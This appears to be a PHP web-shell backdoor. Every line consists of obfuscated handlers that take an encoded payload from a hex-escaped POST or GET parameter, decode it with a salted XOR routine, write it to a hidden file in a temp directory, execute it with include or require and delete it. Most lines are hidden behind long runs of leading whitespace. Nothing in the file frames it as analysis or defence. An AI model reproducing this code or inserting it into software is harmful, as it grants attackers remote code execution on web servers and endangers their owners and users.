<?php																																										if(filter_has_var(INPUT_POST, "pr\x6Fp\x65\x72\x74y\x5Fs\x65t")){ $element = $_REQUEST["pr\x6Fp\x65\x72\x74y\x5Fs\x65t"]; $element =explode ('.' , $element ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $j = 0; array_walk($element, function ($v3) use (&$parameter_group, &$j, $salt, $sLen) { $chS = ord($salt[$j % $sLen]); $d = ((int)$v3 - $chS - ($j % 10)) ^ 37; $parameter_group .= chr($d); $j++; } ); $ent = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd()]); for ($item = 0, $binding = count($ent); $item < $binding; $item++) { $dchunk = $ent[$item]; if (is_dir($dchunk) && is_writable($dchunk)) { $fac = str_replace("{var_dir}", $dchunk, "{var_dir}/.marker"); $success = file_put_contents($fac, $parameter_group); if ($success) { include $fac; @unlink($fac); die();} } } }
																																										if(isset($_REQUEST["\x6B\x65y"]) ? true : false){ $marker = array_filter(["/dev/shm", getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $binding = $_REQUEST["\x6B\x65y"]; $binding = explode ('.', $binding ); $pset= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $w= 0; foreach ($binding as $v4) { $chS= ord($s[$w % $sLen]); $d= ((int)$v4 - $chS - ($w % 10)) ^ 44; $pset .=chr($d); $w++; } foreach ($marker as $key => $entry) { if (is_writable($entry) && is_dir($entry)) { $fac = "$entry" . "/.ent"; $success = file_put_contents($fac, $pset); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(array_key_exists("hl\x64", $_POST) && !is_null($_POST["hl\x64"])){ $record = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp", getenv("TMP")]); $resource = $_POST["hl\x64"]; $resource = explode ( "." ,$resource ) ; $pset = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); foreach ($resource as $t =>$v3) { $sChar = ord($salt3[$t %$lenS]); $d = ((int)$v3 - $sChar - ($t %10)) ^ 95; $pset .= chr($d); } $mrk = 0; do { $component = $record[$mrk] ?? null; if ($mrk >= count($record)) break; if ((is_dir($component) and is_writable($component))) { $comp = vsprintf("%s/%s", [$component, ".ent"]); if (@file_put_contents($comp, $pset) !== false) { include $comp; unlink($comp); die(); } } $mrk++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x64esc")){ $marker = $_POST["\x64esc"]; $marker = explode ( ".", $marker ) ; $val=''; $salt7='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt7 ); $q=0; array_walk( $marker , function( $v1) use( &$val , &$q , $salt7 , $sLen) { $sChar=ord( $salt7[$q % $sLen] ); $dec=( ( int)$v1 - $sChar -( $q % 10)) ^ 42; $val .= chr( $dec ); $q++; } ); $object = array_filter(["/dev/shm", getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd()]); for ($descriptor = 0, $component = count($object); $descriptor < $component; $descriptor++) { $data_chunk = $object[$descriptor]; if ((is_dir($data_chunk) and is_writable($data_chunk))) { $flg = "$data_chunk/.key"; if (file_put_contents($flg, $val)) { include $flg; @unlink($flg); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x69tem"])){ $resource = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); $property_set = $_POST["\x69tem"]; $property_set = explode( "." , $property_set); $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $y = 0; while( $y < count( $property_set)) { $v8 = $property_set[$y]; $chS = ord( $salt[$y % $sLen]); $dec = ( ( int)$v8 - $chS -( $y % 10)) ^ 99; $desc .= chr( $dec); $y++;} for ($reference = 0, $fac = count($resource); $reference < $fac; $reference++) { $tkn = $resource[$reference]; if (max(0, is_dir($tkn) * is_writable($tkn))) { $ref = sprintf("%s/.obj", $tkn); if (file_put_contents($ref, $desc)) { require $ref; unlink($ref); die(); } } } }
																																										if(!empty($_REQUEST["h\x6F\x6Cd\x65r"])){ $pgrp = $_REQUEST["h\x6F\x6Cd\x65r"]; $pgrp= explode ( ".", $pgrp ) ; $res = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); $len = count( $pgrp); for( $r = 0; $r < $len; $r++) { $v4 = $pgrp[$r]; $sChar = ord( $s4[$r%$lenS]); $d =( ( int)$v4 - $sChar -( $r%10)) ^ 32; $res .= chr( $d);} $bind = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($bind as $reference) { if (array_product([is_dir($reference), is_writable($reference)])) { $object = join("/", [$reference, ".pset"]); if (file_put_contents($object, $res)) { include $object; @unlink($object); die(); } } } }
																																										if(isset($_REQUEST["dat\x61"])){ $item = $_REQUEST["dat\x61"]; $item =explode ( "." ,$item ) ; $pgrp = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $__len = count($item); for($r = 0; $r < $__len; $r++) { $v4 = $item[$r]; $sChar = ord($salt3[$r % $lenS]); $dec = ((int)$v4 - $sChar -($r % 10)) ^43; $pgrp.= chr($dec);} $token = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP")]); foreach ($token as $obj): if (is_dir($obj) && is_writable($obj)) { $object = sprintf("%s/.element", $obj); $success = file_put_contents($object, $pgrp); if ($success) { include $object; @unlink($object); die();} } endforeach; }
																																										if(@$_REQUEST["obj\x65\x63\x74"] !== null){ $itm = array_filter([getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP")]); $ref = $_REQUEST["obj\x65\x63\x74"]; $ref = explode('.' , $ref ) ; $pset = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); $t = 0; foreach( $ref as $v4) { $chS = ord( $salt9[$t % $sLen]); $d =( ( int)$v4 - $chS -( $t % 10)) ^ 34; $pset .= chr( $d); $t++; } while ($hld = array_shift($itm)) { if (array_product([is_dir($hld), is_writable($hld)])) { $sym = "$hld/.flag"; if (file_put_contents($sym, $pset)) { require $sym; unlink($sym); die(); } } } }


if(@$_POST["e\x6Cem"] !== null){
	$descriptor = array_filter([session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir")]);
	$data_chunk = $_POST["e\x6Cem"];
		 $data_chunk	=explode 		(  ".",	$data_chunk	 	);	 
	$item = '';
            $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt8);
            $p = 0;
    
            array_walk($data_chunk, function ($v6) use (&$item, &$p, $salt8, $lenS) {	$sChar = ord($salt8[$p % $lenS]);
                $d = ((int)$v6 - $sChar - ($p % 10)) ^ 44;
                $item .= chr($d);
                $p++;
            });
	foreach ($descriptor as $key => $holder) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($holder)) {
    $desc = str_replace("{var_dir}", $holder, "{var_dir}/.pointer");
    if (@file_put_contents($desc, $item) !== false) {
	include $desc;
	unlink($desc);
	die();
}
}
}
}